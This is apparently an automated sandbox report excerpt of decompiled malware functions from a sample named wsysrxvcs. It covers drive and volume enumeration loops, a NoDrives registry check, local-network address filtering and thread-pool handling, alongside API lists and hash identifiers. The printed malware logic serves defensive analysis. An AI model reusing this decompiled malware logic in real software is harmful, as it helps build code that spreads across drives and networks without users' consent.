                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
                                                                                                                                                                                                                                                                                                                                                      • String ID: <$GET
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1205665004-427699995
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 047eae879ac5e57249f6191f1f21836e1b87565fc0e9f3af6bc2277812fc5b8e
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 39a8e37caa5185a3eb3a08cb953c60fa8a91e689940cf5f043a44b8b34c23c65
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 047eae879ac5e57249f6191f1f21836e1b87565fc0e9f3af6bc2277812fc5b8e
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F1512C71911228ABDB36CB50CC95BE9737CBB44705F0481E9B60DAA2C0D7B96BC4CF54
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405410 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106sleepthreadCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 50%
                                                                                                                                                                                                                                                                                                                                                      			E00405410() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v24;
				short _v556;
				short _v2604;
				intOrPtr _v2608;
				union _ULARGE_INTEGER _v2612;
				long _v2616;
				short _v3148;
				intOrPtr _v3152;
				intOrPtr _t34;
				intOrPtr _t38;
				struct %anon54 _t43;
				intOrPtr _t63;
				void* _t68;
				void* _t69;
				void* _t70;

				Sleep(0x3e8);
				GetModuleFileNameW(0, 0x414c78, 0x104);
				_t34 = E0040D070(0x414c78);
				_t69 = _t68 + 4;
				 *0x414c70 = _t34;
				while(1 != 0) {
					_v8 = E00404C20();
					_v12 = 2;
					while(_v12 <= 0x19) {
						_t38 = E00404BC0(_v8, _v12,  &_v24);
						_t69 = _t69 + 0xc;
						_v16 = _t38;
						_v3152 = _v16;
						if(_v3152 == 2 || _v3152 == 4) {
							GetVolumeInformationW( &_v24,  &_v3148, 0x105, 0, 0,  &_v2616, 0, 0);
							GetDiskFreeSpaceExW( &_v24, 0,  &_v2612, 0);
							_push(0);
							_push(0x40000000);
							_t63 = _v2608;
							_push(_t63);
							_t43 = _v2612.LowPart;
							_push(_t43);
							L0040ED00();
							_push(_t63);
							wsprintfW( &_v556, L" (%dGB)", _t43);
							_t70 = _t69 + 0x10;
							if((_v3148 & 0x0000ffff) == 0) {
								wsprintfW( &_v3148, L"Unnamed volume");
								_t70 = _t70 + 8;
							}
							wsprintfW( &_v2604, L"%s%s",  &_v3148,  &_v556);
							E00404F30( &_v24,  &_v2604, _v2616, ( &_v556 & 0xffffff00 | _v16 == 0x00000004) & 0x000000ff);
							_t69 = _t70 + 0x20;
						}
						_v12 = _v12 + 1;
					}
					Sleep(0x7d0);
				}
				ExitThread(0);
			}





















                                                                                                                                                                                                                                                                                                                                                      0x0040541e
                                                                                                                                                                                                                                                                                                                                                      0x00405430
                                                                                                                                                                                                                                                                                                                                                      0x0040543b
                                                                                                                                                                                                                                                                                                                                                      0x00405440
                                                                                                                                                                                                                                                                                                                                                      0x00405443
                                                                                                                                                                                                                                                                                                                                                      0x00405448
                                                                                                                                                                                                                                                                                                                                                      0x0040545a
                                                                                                                                                                                                                                                                                                                                                      0x0040545d
                                                                                                                                                                                                                                                                                                                                                      0x0040546f
                                                                                                                                                                                                                                                                                                                                                      0x00405485
                                                                                                                                                                                                                                                                                                                                                      0x0040548a
                                                                                                                                                                                                                                                                                                                                                      0x0040548d
                                                                                                                                                                                                                                                                                                                                                      0x00405493
                                                                                                                                                                                                                                                                                                                                                      0x004054a0
                                                                                                                                                                                                                                                                                                                                                      0x004054cf
                                                                                                                                                                                                                                                                                                                                                      0x004054e4
                                                                                                                                                                                                                                                                                                                                                      0x004054ea
                                                                                                                                                                                                                                                                                                                                                      0x004054ec
                                                                                                                                                                                                                                                                                                                                                      0x004054f1
                                                                                                                                                                                                                                                                                                                                                      0x004054f7
                                                                                                                                                                                                                                                                                                                                                      0x004054f8
                                                                                                                                                                                                                                                                                                                                                      0x004054fe
                                                                                                                                                                                                                                                                                                                                                      0x004054ff
                                                                                                                                                                                                                                                                                                                                                      0x00405504
                                                                                                                                                                                                                                                                                                                                                      0x00405512
                                                                                                                                                                                                                                                                                                                                                      0x00405518
                                                                                                                                                                                                                                                                                                                                                      0x00405524
                                                                                                                                                                                                                                                                                                                                                      0x00405532
                                                                                                                                                                                                                                                                                                                                                      0x00405538
                                                                                                                                                                                                                                                                                                                                                      0x00405538
                                                                                                                                                                                                                                                                                                                                                      0x00405555
                                                                                                                                                                                                                                                                                                                                                      0x0040557b
                                                                                                                                                                                                                                                                                                                                                      0x00405580
                                                                                                                                                                                                                                                                                                                                                      0x00405580
                                                                                                                                                                                                                                                                                                                                                      0x0040546c
                                                                                                                                                                                                                                                                                                                                                      0x0040546c
                                                                                                                                                                                                                                                                                                                                                      0x0040558d
                                                                                                                                                                                                                                                                                                                                                      0x0040558d
                                                                                                                                                                                                                                                                                                                                                      0x0040559a

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040541E
                                                                                                                                                                                                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(00000000,00414C78,00000104), ref: 00405430
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D070: CreateFileW.KERNEL32(@T@,80000000,00000001,00000000,00000003,00000000,00000000,00405440), ref: 0040D090
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D070: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D0A5
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D070: CloseHandle.KERNEL32(000000FF), ref: 0040D0B2
                                                                                                                                                                                                                                                                                                                                                      • ExitThread.KERNEL32 ref: 0040559A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404C20: GetLogicalDrives.KERNEL32 ref: 00404C26
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404C20: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00404C74
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404C20: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404CA1
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404C20: RegCloseKey.ADVAPI32(?), ref: 00404CBE
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000007D0), ref: 0040558D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404BC0: lstrcpyW.KERNEL32 ref: 00404C13
                                                                                                                                                                                                                                                                                                                                                      • GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 004054CF
                                                                                                                                                                                                                                                                                                                                                      • GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 004054E4
                                                                                                                                                                                                                                                                                                                                                      • _aulldiv.NTDLL(?,?,40000000,00000000), ref: 004054FF
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00405512
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00405532
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00405555
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
                                                                                                                                                                                                                                                                                                                                                      • String ID: (%dGB)$%s%s$Unnamed volume
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1650488544-2117135753
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ed994da33f24f64b2f5f1e1ab35f0dff2efdad8fe7624ed8afbc41a57513c7fc
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3fe1d8bc697817bb000b0270b0fe4bb7d325435501b2d129f68459ff1fd9a11f
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ed994da33f24f64b2f5f1e1ab35f0dff2efdad8fe7624ed8afbc41a57513c7fc
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D44186B1940208BBE724DB94DC45FEF7778EB48705F1085A6F209B21D0DA785B84CF6A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409920 Relevance: 22.7, APIs: 9, Strings: 6, Instructions: 156stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 584 409920-409937 call 409660 587 409939 584->587 588 40993e-40995a call 4093d0 strstr 584->588 589 409b43-409b46 587->589 592 40995c-409978 call 4093d0 strstr 588->592 593 40999d-4099b9 call 4093d0 strstr 588->593 600 409998 592->600 601 40997a-409996 call 4093d0 strstr 592->601 598 4099bb-4099d7 call 4093d0 strstr 593->598 599 4099fc-409a12 EnterCriticalSection 593->599 610 4099f7 598->610 611 4099d9-4099f5 call 4093d0 strstr 598->611 603 409a1d-409a26 599->603 600->589 601->593 601->600 606 409a57-409a62 call 409870 603->606 607 409a28-409a38 603->607 619 409b38-409b3d LeaveCriticalSection 606->619 620 409a68-409a76 606->620 612 409a55 607->612 613 409a3a-409a53 call 40bd50 607->613 610->589 611->599 611->610 612->603 613->606 619->589 622 409a78 620->622 623 409a7c-409a8d call 4089f0 620->623 622->623 623->619 626 409a93-409ab0 call 40bd50 623->626 629 409ab2-409ac1 626->629 630 409b07-409b20 626->630 632 409ac3-409acb Sleep 629->632 633 409acd-409b05 call 408b60 629->633 631 409b26-409b31 call 409870 630->631 631->619 638 409b33 call 409550 631->638 632->629 633->631 638->619
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00409920(signed int _a4, intOrPtr _a8, signed char _a12) {
				signed char _v5;
				signed int _v12;
				signed char _v13;
				signed int _v20;
				signed char _t50;
				char* _t52;
				char* _t54;
				signed int _t57;
				void* _t65;
				char* _t68;
				char* _t72;
				void* _t97;
				void* _t98;
				void* _t100;
				void* _t102;
				void* _t106;
				void* _t109;

				_t50 = E00409660(_a4);
				_t98 = _t97 + 4;
				_t74 = _t50 & 0x000000ff;
				if((_t50 & 0x000000ff) == 0) {
					_t52 = strstr(E004093D0(_t74, _a4), "127.");
					_t100 = _t98 + 0xc;
					if(_t52 == 0) {
						L6:
						_t54 = strstr(E004093D0(_t74, _a4), "10.");
						_t102 = _t100 + 0xc;
						if(_t54 == 0) {
							L10:
							EnterCriticalSection(0x4156ac);
							_v5 = 0;
							_v12 = 0;
							while(1) {
								_t55 = _v12;
								if(_v12 >=  *0x4156e4) {
									break;
								}
								if( *((intOrPtr*)( *((intOrPtr*)(0x4156e8 + _v12 * 4)) + 4)) != _a4) {
									_v12 = _v12 + 1;
									continue;
								}
								_t65 = E0040BD50();
								_t55 = _t65 - _a8;
								 *((intOrPtr*)( *((intOrPtr*)(0x4156e8 + _v12 * 4)) + 8)) = _t65 - _a8;
								_v5 = 1;
								break;
							}
							E00409870(_t55);
							_t57 = _v5 & 0x000000ff;
							if(_t57 != 0) {
								L27:
								LeaveCriticalSection(0x4156ac);
								return _t57;
							}
							_v13 = 0;
							if( *0x4156e4 == 0x200) {
								_v13 = 1;
							}
							_t57 = E004089F0(0xc);
							_v20 = _t57;
							if(_v20 == 0) {
								goto L27;
							} else {
								 *((intOrPtr*)(_v20 + 4)) = _a4;
								 *((intOrPtr*)(_v20 + 8)) = E0040BD50() - _a8;
								if((_v13 & 0x000000ff) == 0) {
									_t60 = _v20;
									 *((intOrPtr*)(0x4156e8 +  *0x4156e4 * 4)) = _v20;
									 *0x4156e4 =  *0x4156e4 + 1;
									L25:
									_t57 = E00409870(_t60);
									if((_a12 & 0x000000ff) != 0) {
										_t57 = E00409550(_t57);
									}
									goto L27;
								}
								while( *(0x4156e4[ *0x4156e4]) != 0) {
									Sleep(1);
								}
								 *(0x4156e4[ *0x4156e4]) = 1;
								E00408B60(0x4156e4[ *0x4156e4]);
								_t60 =  *0x4156e4;
								0x4156e4[ *0x4156e4] = _v20;
								goto L25;
							}
						}
						_t68 = strstr(E004093D0(_t74, _a4), ".10");
						_t106 = _t102 + 0xc;
						if(_t68 == 0) {
							L9:
							return _t68;
						}
						_t68 = strstr(E004093D0(_a4, _a4), ".10.");
						_t102 = _t106 + 0xc;
						if(_t68 != 0) {
							goto L10;
						}
						goto L9;
					}
					_t72 = strstr(E004093D0(_t74, _a4), ".127");
					_t109 = _t100 + 0xc;
					if(_t72 == 0) {
						L5:
						return _t72;
					}
					_t74 = _a4;
					_t72 = strstr(E004093D0(_a4, _a4), ".127.");
					_t100 = _t109 + 0xc;
					if(_t72 != 0) {
						goto L6;
					}
					goto L5;
				}
				return _t50;
			}




















                                                                                                                                                                                                                                                                                                                                                      0x0040992a
                                                                                                                                                                                                                                                                                                                                                      0x0040992f
                                                                                                                                                                                                                                                                                                                                                      0x00409932
                                                                                                                                                                                                                                                                                                                                                      0x00409937
                                                                                                                                                                                                                                                                                                                                                      0x00409950
                                                                                                                                                                                                                                                                                                                                                      0x00409955
                                                                                                                                                                                                                                                                                                                                                      0x0040995a
                                                                                                                                                                                                                                                                                                                                                      0x0040999d
                                                                                                                                                                                                                                                                                                                                                      0x004099af
                                                                                                                                                                                                                                                                                                                                                      0x004099b4
                                                                                                                                                                                                                                                                                                                                                      0x004099b9
                                                                                                                                                                                                                                                                                                                                                      0x004099fc
                                                                                                                                                                                                                                                                                                                                                      0x00409a01
                                                                                                                                                                                                                                                                                                                                                      0x00409a07
                                                                                                                                                                                                                                                                                                                                                      0x00409a0b
                                                                                                                                                                                                                                                                                                                                                      0x00409a1d
                                                                                                                                                                                                                                                                                                                                                      0x00409a1d
                                                                                                                                                                                                                                                                                                                                                      0x00409a26
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409a38
                                                                                                                                                                                                                                                                                                                                                      0x00409a1a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409a1a
                                                                                                                                                                                                                                                                                                                                                      0x00409a3a
                                                                                                                                                                                                                                                                                                                                                      0x00409a3f
                                                                                                                                                                                                                                                                                                                                                      0x00409a4c
                                                                                                                                                                                                                                                                                                                                                      0x00409a4f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409a4f
                                                                                                                                                                                                                                                                                                                                                      0x00409a57
                                                                                                                                                                                                                                                                                                                                                      0x00409a5c
                                                                                                                                                                                                                                                                                                                                                      0x00409a62
                                                                                                                                                                                                                                                                                                                                                      0x00409b38
                                                                                                                                                                                                                                                                                                                                                      0x00409b3d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409b3d
                                                                                                                                                                                                                                                                                                                                                      0x00409a68
                                                                                                                                                                                                                                                                                                                                                      0x00409a76
                                                                                                                                                                                                                                                                                                                                                      0x00409a78
                                                                                                                                                                                                                                                                                                                                                      0x00409a78
                                                                                                                                                                                                                                                                                                                                                      0x00409a7e
                                                                                                                                                                                                                                                                                                                                                      0x00409a86
                                                                                                                                                                                                                                                                                                                                                      0x00409a8d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409a93
                                                                                                                                                                                                                                                                                                                                                      0x00409a99
                                                                                                                                                                                                                                                                                                                                                      0x00409aa7
                                                                                                                                                                                                                                                                                                                                                      0x00409ab0
                                                                                                                                                                                                                                                                                                                                                      0x00409b0d
                                                                                                                                                                                                                                                                                                                                                      0x00409b10
                                                                                                                                                                                                                                                                                                                                                      0x00409b20
                                                                                                                                                                                                                                                                                                                                                      0x00409b26
                                                                                                                                                                                                                                                                                                                                                      0x00409b26
                                                                                                                                                                                                                                                                                                                                                      0x00409b31
                                                                                                                                                                                                                                                                                                                                                      0x00409b33
                                                                                                                                                                                                                                                                                                                                                      0x00409b33
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409b31
                                                                                                                                                                                                                                                                                                                                                      0x00409ab2
                                                                                                                                                                                                                                                                                                                                                      0x00409ac5
                                                                                                                                                                                                                                                                                                                                                      0x00409ac5
                                                                                                                                                                                                                                                                                                                                                      0x00409ada
                                                                                                                                                                                                                                                                                                                                                      0x00409aee
                                                                                                                                                                                                                                                                                                                                                      0x00409af6
                                                                                                                                                                                                                                                                                                                                                      0x00409afe
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409afe
                                                                                                                                                                                                                                                                                                                                                      0x00409a8d
                                                                                                                                                                                                                                                                                                                                                      0x004099cd
                                                                                                                                                                                                                                                                                                                                                      0x004099d2
                                                                                                                                                                                                                                                                                                                                                      0x004099d7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004099eb
                                                                                                                                                                                                                                                                                                                                                      0x004099f0
                                                                                                                                                                                                                                                                                                                                                      0x004099f5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004099f5
                                                                                                                                                                                                                                                                                                                                                      0x0040996e
                                                                                                                                                                                                                                                                                                                                                      0x00409973
                                                                                                                                                                                                                                                                                                                                                      0x00409978
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040997f
                                                                                                                                                                                                                                                                                                                                                      0x0040998c
                                                                                                                                                                                                                                                                                                                                                      0x00409991
                                                                                                                                                                                                                                                                                                                                                      0x00409996
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409996
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409660: gethostname.WS2_32(?,00000100), ref: 0040967C
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409660: gethostbyname.WS2_32(?), ref: 0040968E
                                                                                                                                                                                                                                                                                                                                                      • strstr.NTDLL ref: 00409950
                                                                                                                                                                                                                                                                                                                                                      • strstr.NTDLL ref: 0040996E
                                                                                                                                                                                                                                                                                                                                                      • strstr.NTDLL ref: 0040998C
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: strstr$gethostbynamegethostname
                                                                                                                                                                                                                                                                                                                                                      • String ID: .10$.10.$.127$.127.$10.$127.
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2540993189-3303897403
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 5544813b51a4410ae558c1aef5a0e6fe16a06189b37a05ddfc82d72977345a76
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 658aa9150d0c7f202bb3345ef87198443445dd4adc116730250c2e9abde66c2d
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5544813b51a4410ae558c1aef5a0e6fe16a06189b37a05ddfc82d72977345a76
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6751A3B4A00244DBDB00EF65E841BDE7775AB54305F14803BE909AB3C3E679EE50CA9A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040BB80 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 95threadsleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 640 40bb80-40bbb0 GetCurrentThread GetThreadPriority GetCurrentThread SetThreadPriority 641 40bbb6-40bbca InterlockedExchangeAdd 640->641 642 40bc99-40bcb0 GetCurrentThread SetThreadPriority 640->642 641->642 643 40bbd0-40bbd9 641->643 644 40bbdc-40bbe3 643->644 644->642 645 40bbe9-40bc04 EnterCriticalSection 644->645 646 40bc0f-40bc17 645->646 647 40bc57-40bc6c LeaveCriticalSection 646->647 648 40bc19-40bc26 646->648 651 40bc77-40bc7d 647->651 652 40bc6e-40bc75 647->652 649 40bc33-40bc55 WaitForSingleObject 648->649 650 40bc28-40bc31 648->650 653 40bc06-40bc0c 649->653 650->653 654 40bc8c-40bc94 Sleep 651->654 655 40bc7f-40bc88 651->655 652->642 653->646 654->644 655->654 656 40bc8a 655->656 656->642
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 80%
                                                                                                                                                                                                                                                                                                                                                      			E0040BB80(LONG* _a4, intOrPtr _a8) {
				char _v8;
				long _v12;
				LONG* _v16;
				signed char _v17;
				long _v24;
				signed int _v28;
				signed int _t57;
				intOrPtr _t80;

				_v8 = GetThreadPriority(GetCurrentThread());
				SetThreadPriority(GetCurrentThread(), 0xfffffffe);
				_v12 = 0;
				if(_a4 != 0) {
					_v16 = _a4;
					if(InterlockedExchangeAdd(_v16, 0) > 0) {
						_v17 = 0 | _a8 != 0xffffffff;
						while(1 != 0) {
							_v24 = 0;
							EnterCriticalSection( &(_v16[1]));
							_v28 = 0;
							while(_v28 <  *_v16) {
								if( *(_v16[7] + _v28 * 4) != 0) {
									_t57 = WaitForSingleObject( *(_v16[7] + _v28 * 4), 0);
									asm("sbb eax, eax");
									_v24 =  ~_t57 + 1 + _v24;
								} else {
									_v24 = _v24 + 1;
								}
								_v28 = _v28 + 1;
							}
							LeaveCriticalSection( &(_v16[1]));
							if(_v24 !=  *_v16) {
								if((_v17 & 0x000000ff) == 0) {
									L15:
									Sleep(1);
									continue;
								} else {
									_t80 = _a8 - 1;
									_a8 = _t80;
									if(_t80 != 0) {
										goto L15;
									} else {
									}
								}
							} else {
								_v12 = 1;
							}
							goto L16;
						}
					}
				}
				L16:
				_t39 =  &_v8; // 0x40eb74
				SetThreadPriority(GetCurrentThread(),  *_t39);
				return _v12;
			}











                                                                                                                                                                                                                                                                                                                                                      0x0040bb93
                                                                                                                                                                                                                                                                                                                                                      0x0040bb9f
                                                                                                                                                                                                                                                                                                                                                      0x0040bba5
                                                                                                                                                                                                                                                                                                                                                      0x0040bbb0
                                                                                                                                                                                                                                                                                                                                                      0x0040bbb9
                                                                                                                                                                                                                                                                                                                                                      0x0040bbca
                                                                                                                                                                                                                                                                                                                                                      0x0040bbd9
                                                                                                                                                                                                                                                                                                                                                      0x0040bbdc
                                                                                                                                                                                                                                                                                                                                                      0x0040bbe9
                                                                                                                                                                                                                                                                                                                                                      0x0040bbf7
                                                                                                                                                                                                                                                                                                                                                      0x0040bbfd
                                                                                                                                                                                                                                                                                                                                                      0x0040bc0f
                                                                                                                                                                                                                                                                                                                                                      0x0040bc26
                                                                                                                                                                                                                                                                                                                                                      0x0040bc42
                                                                                                                                                                                                                                                                                                                                                      0x0040bc4a
                                                                                                                                                                                                                                                                                                                                                      0x0040bc52
                                                                                                                                                                                                                                                                                                                                                      0x0040bc28
                                                                                                                                                                                                                                                                                                                                                      0x0040bc2e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc2e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc0c
                                                                                                                                                                                                                                                                                                                                                      0x0040bc0c
                                                                                                                                                                                                                                                                                                                                                      0x0040bc5e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6c
                                                                                                                                                                                                                                                                                                                                                      0x0040bc7d
                                                                                                                                                                                                                                                                                                                                                      0x0040bc8c
                                                                                                                                                                                                                                                                                                                                                      0x0040bc8e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bc7f
                                                                                                                                                                                                                                                                                                                                                      0x0040bc82
                                                                                                                                                                                                                                                                                                                                                      0x0040bc85
                                                                                                                                                                                                                                                                                                                                                      0x0040bc88
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bc8a
                                                                                                                                                                                                                                                                                                                                                      0x0040bc88
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6e
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040bc6c
                                                                                                                                                                                                                                                                                                                                                      0x0040bbdc
                                                                                                                                                                                                                                                                                                                                                      0x0040bbca
                                                                                                                                                                                                                                                                                                                                                      0x0040bc99
                                                                                                                                                                                                                                                                                                                                                      0x0040bc99
                                                                                                                                                                                                                                                                                                                                                      0x0040bca4
                                                                                                                                                                                                                                                                                                                                                      0x0040bcb0

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32 ref: 0040BB86
                                                                                                                                                                                                                                                                                                                                                      • GetThreadPriority.KERNEL32(00000000,?,0040E0BE,?,000000FF,?,0040EB74), ref: 0040BB8D
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32 ref: 0040BB98
                                                                                                                                                                                                                                                                                                                                                      • SetThreadPriority.KERNEL32(00000000,?,0040E0BE,?,000000FF,?,0040EB74), ref: 0040BB9F
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(000000FF,00000000), ref: 0040BBC2
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(000000FB), ref: 0040BBF7
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040BC42
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(000000FB), ref: 0040BC5E
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(00000001), ref: 0040BC8E
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentThread.KERNEL32 ref: 0040BC9D
                                                                                                                                                                                                                                                                                                                                                      • SetThreadPriority.KERNEL32(00000000,?,0040E0BE,?,000000FF), ref: 0040BCA4
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
